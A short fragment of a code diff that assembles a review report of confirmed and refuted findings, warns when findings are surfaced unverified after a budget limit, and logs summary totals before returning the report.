+ refuted: refuted.map((f) => ({ title: f.title, file: f.file, dimension: f.dimension, reason: f.verdict?.reason })),
657
+ }
658
+
659
+ if (droppedVerification.length) {
660
+ log(`⚠ budget floor hit — ${droppedVerification.length} finding(s) surfaced UNVERIFIED: ${droppedVerification.join(', ')}`)
661
+ }
662
+ log(
663
+ `Done: ${deduped.length} confirmed (${report.totals.fixInline} fix-inline, ` +
664
+ `${report.totals.scopeOutCandidates} scope-out → ${report.totals.filed} filed / ${report.totals.flippedToFixInline} flipped), ${refuted.length} refuted.`,
665
+ )
666
+
667
+ return report